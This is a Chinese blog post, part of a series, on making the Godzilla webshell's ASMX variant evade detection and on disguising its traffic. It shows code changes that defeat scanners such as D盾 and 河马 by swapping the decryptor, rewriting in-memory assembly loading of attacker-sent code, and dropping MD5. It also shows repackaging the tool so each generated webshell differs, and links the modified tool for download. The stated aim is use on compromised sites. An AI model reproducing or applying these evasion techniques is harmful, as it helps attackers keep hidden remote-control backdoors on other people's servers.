哥斯拉二开从0到1-5(asmx免杀)
前言
上面的文章做了动态的免杀,以及基于时间的密钥动态处理,计划中做一下其他语言的免杀及流量修改,本篇文章做一下asmx流量修改及免杀。
asmx简介
ASMX
文件是一个用于在 ASP.NET Web 服务中定义和处理请求的文件格式。它通常用于创建基于 XML 的 Web 服务,允许客户端与服务器进行远程交互,传输数据并执行方法。ASMX 文件通常包含服务的代码和定义,用来处理 Web 服务的请求和响应。
Web 服务(也叫做 XML Web Service)是一种能够接收来自互联网或局域网中其他系统的请求,提供轻量级通信的独立技术。Web 服务通过 SOAP 协议在 Web 上提供功能,通常由 WSDL 文件描述,并通过 UDDI 注册。
- SOAP(简单对象访问协议):它是 XML Web 服务的通信协议,定义了如何通过 HTTP 或其他底层协议来调用 Web 服务中的方法。SOAP 使用 XML 格式的消息进行通信。
- WSDL(Web 服务描述语言):一个 XML 文档,用于描述 Web 服务的操作以及如何交换数据。WSDL 文件通常由软件自动生成,并且可以通过 UDDI 进行注册。
- UDDI(统一描述、发现与集成):一种标准的 Web 服务目录,允许 Web 服务注册并被其他系统发现。
.asmx是webservice服务程序的后缀名,ASP.NET 使用.asmx 文件来对Web Services的支持。.asmx 文件和.aspx文件一样都属于文本文件。它包含在.aspx文件之中,成为ASP.NET应用程序的一部分。
具有 .asmx 扩展名的文件是一种 ASP.NET Web 服务文件,它使用简单对象访问协议 (SOAP) 在 Internet 上提供两个对象之间的通信。它作为服务部署在基于 Windows 的 Web 服务器上,用于处理传入请求并返回响应。与包含 ASP.NET 网页可视化显示代码的ASPX文件不同,ASMX 文件在后台运行在服务器上,并执行不同的任务,例如连接数据库、检索数据和返回数据提出请求的格式。这些专门用于 XML Web 服务。
说那么多,不如一见,我们在打战的时候经常会见到这种页面,那么这种也页面就是采用的这种形式。
来看一下传参方式,这里是一个计算器,有四种方法,加减乘除。
这里选择加,可以看到有两个参数num,采用xml的传参方式
1 | POST /aspx/time/calc.asmx |
这里经过笔者测试,这个SOAPAction: "http://tempuri.org/Add"
经过测试是可以去掉的。不写这一句也没问题。以下咱们就给他去掉好了,少一句话,就少一个特征,宁可信其有,不可以信其无。好,本编主要看的是asmx免杀这里就简单讲一下格式,一会还会看到。
asmx免杀
先简单来看一下哥斯拉原版asmx木马。
1 | <%@ WebService Language="C#" Class="WebService1" %> |
简单看一下,其实和aspx的木马差不多的。无非是一些细节上不一样。加载方式、函数啥的。
放到d盾中,5级。我们进行一下简单fuzz。
直接删一般,看到报2级,应该是还有问题。
根据以往经验,大概率是加密问题,data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(
这句中RijndaelManaged这个函数,是加密使用的,我们给他删掉
这样就没问题了,那么还是要用的,经过搜索,我们可以用AesManaged()
函数代替
data = new System.Security.Cryptography..CreateDecryptor(changshangsan, changshangsan).TransformFinalBlock(data, 0, data.Length);
也就是说像这样写就可以了。
刚刚删掉的那一段拿回来继续fuzz一下。
这里fuzz后是 Context.Session["payload"] = (System.Reflection.Assembly) typeof(System.Reflection.Assembly) .GetMethod("Load", new System.Type[] { typeof(byte[]) }) .Invoke(null, new object[] { data });
可以看到是加载data的,我们进行改写一下,笔者在fuzz的时候,大概率是load或者payload的问题,还有这个invoke,也是威胁的。
if (Context.Session["changshangyi"] == null) { AppDomain currentDomain = AppDomain.CurrentDomain; byte[] assemblyData = data; System.IO.MemoryStream assemblyStream = new System.IO.MemoryStream(assemblyData); System.Reflection.Assembly assembly = currentDomain.Load(assemblyStream.ToArray()); Context.Session["changshangyi"] = assembly;
写的时候,我们给他换种写法,把关键字给他去掉
data为获取到的很多方法
system.IO.MemoryStream assemblyStream = new System.IO.MemoryStream(assemblyData);
- 使用字节数组
assemblyData
创建一个内存流对象assemblyStream
。 - 内存流允许字节数组的操作模拟文件流,方便后续处理。
System.Reflection.Assembly assembly = currentDomain.Load(assemblyStream.ToArray());
- 将内存流的数据转换为字节数组并加载为程序集 (
Assembly
) 对象。 currentDomain.Load
会在当前应用程序域中动态加载该程序集,类似于运行时将 DLL 文件加载进来。
在同一个用户的后续请求中,代码可以直接从 Session
获取已经加载的程序集,而不必重复加载。
这样,我们就改好了,这样就没有问题了。
看一下是否能用。
使用起来也没有问题。
好的,我们来看看其他平台。
这里我们可以看到河马直接就给杀了,还识别出来是godzilla。
我们在进行fuzz。经过笔者fuzz后,我发现是MD5的锅。只要有md5就报。
string md5 = System.BitConverter.ToString(
new System.Security.Cryptography.MD5CryptoServiceProvider()
.ComputeHash(System.Text.Encoding.Default.GetBytes(bohemian_pass + key))
).Replace(“-“, “”);
原版的木马中是加载了md5的,这里可以看到。我们知道,godzilla,在木马层面,md5在木马中的作用主要是将pass+key进行MD5,上几期都知道,我们改过的流量,不在进行md5做识别了,所以,一会我们将不会用到md5了,直接在木马中删掉md5就可以了。一会在定义一个其他的。
试下河马
ok,这样就没问题了。
这样就差不多了,我们在优化一下其中的一些字符串,在其他平台可能不行。比如payload,或者一些变量的定义啥的,都给他改改。
1 | <%@ WebService Language="C#" Class="WebService1" %> |
大概就是这样。对一些字符串进行可简单优化
这里原版木马有一句string bohemian_pass = "asd";
这个乍一看就是定义的密码,其实全文追下来会发现,并没有调用这个,索性,也给他去掉了。
vt,其实vt对webshell类不感冒的。
微步
其他的火绒 360就不测试了。也没啥问题。
asmx流量修改
免杀已经做完了,那接下来就是流量修改了。
先来看一下啊
"http://tempuri.org/pass"
的含义http://tempuri.org/
这是一个占位命名空间(temporary URI),表示临时的命名空间。它通常用于默认的 Web 服务项目,表示尚未定义特定的命名空间。
在生产环境中,应替换为特定的命名空间,如:
http://example.com/myservice
或其他规范的 URI。
这个是必须的,下面传递的参数呢就是xml格式的,右边是返回的数据,可以看到左右追加的md5 16位。
1 | <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><passResponse xmlns="http://tempuri.org/"><passResult>11CD6A8758984163o8tM0853zU1IMnDChC5Kz8LDfyvxkgvjI4biZcqE8CaljtGledXoE+blv/pYFFNZ6C37AC826A2A04BC</passResult></passResponse></soap:Body></soap:Envelope> |
本来计划者做成下面这样的,就是将16字符串替换为,这样伪装一下。但是没成功,
1 | <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><passResponse xmlns="http://tempuri.org/"><passResult><data>o8tM0853zU1IMnDChC5Kz8LDfyvxkgvjI4biZcqE8CaljtGledXoE+blv/pYFFNZ</data></passResult></passResponse></soap:Body></soap:Envelope> |
这里可以看到我们将data写好之后。
可以清晰的看到就是,返回的<> 都被转义了。奈何笔者太菜了,查阅了很多资料,都没呀将尖括号就调整过来。不过这样看,也看不出来后面的=了。<soap:Body><asdResponse xmlns="http://tempuri.org/"><asdResult><data>pKbveI07Gojru9gjm3HZ2nDxmEBZAUIUH0ifaEX3JQI=<data></asdResult></asdResponse></soap:Body></soap:Envelope>
其实你看这个返回包,其中这个最后的=像base64,但是,当,进行url实体编码后,也好看一点了。其实主要还是将原来的16位去除掉,简单混淆一下。
好,我们这里流量就先这样。奈何现在笔者这里没有安全设备,也没有办法去试试是否免杀,还希望大家在使用后,将效果告诉笔者,咱们在做改进。
asmx免杀木马生成
好,接下来将我们的免杀封装到godzilla中,
先做shell修改,简单修改一下
shell模板也替换一下,
好,接下来,build project,build artifacts。
大家在使用的时候,asmx的木马在cshap中,
点击生成即可,还是推荐大家别用默认口令及密码。
生成三份
都不一样,没啥问题。看下能不能用。
大家使用的时候,选择CShapDynamicPayload->CSHAP_ASMX_AES_BASE64_DATA
即可,
使用起来也是没啥问题。好,这里我们就差不多改完了。
上面提到推荐大家别用默认密钥及密码或者将密码密钥设为一样的。这里说一下为什么,就是我们访问木马的时候,其实是可以看到密码。
就是这个,参数,其实这里就是密码,但不是密钥(key)。如果别访问到了,去猜你的密钥,你设置很简单,或者和密码相同,那么你辛辛苦苦打的站就被别人上车了。
总结
本文对godzilla中asmx木马进行免杀,及流量修改进行简单免杀,将免杀木马封装到godzilla中,使用模板进行免杀,达到每次生成的木马都不相同。
下个版本
1.1版本添加木马的免杀,全语言都做好了,但是并没有改流量以及加密方式,只是做了伪装。
1.2版本做了动态密钥。
1.3版本做了左右动态添加数据,
1.4版本做了asmx动态免杀及流量修改。
后面需要做的:修改一下加密方式,这样的话会更好一点。还有就是message其实是固定的,希望能让他动起来。
下载、使用
什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。
https://github.com/Bohemiana/godzilla_erkai
致谢
最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。
参考
1 | https://github.com/BeichenDream/Godzilla 原版哥斯拉 |
emmm 太菜了
一直在路上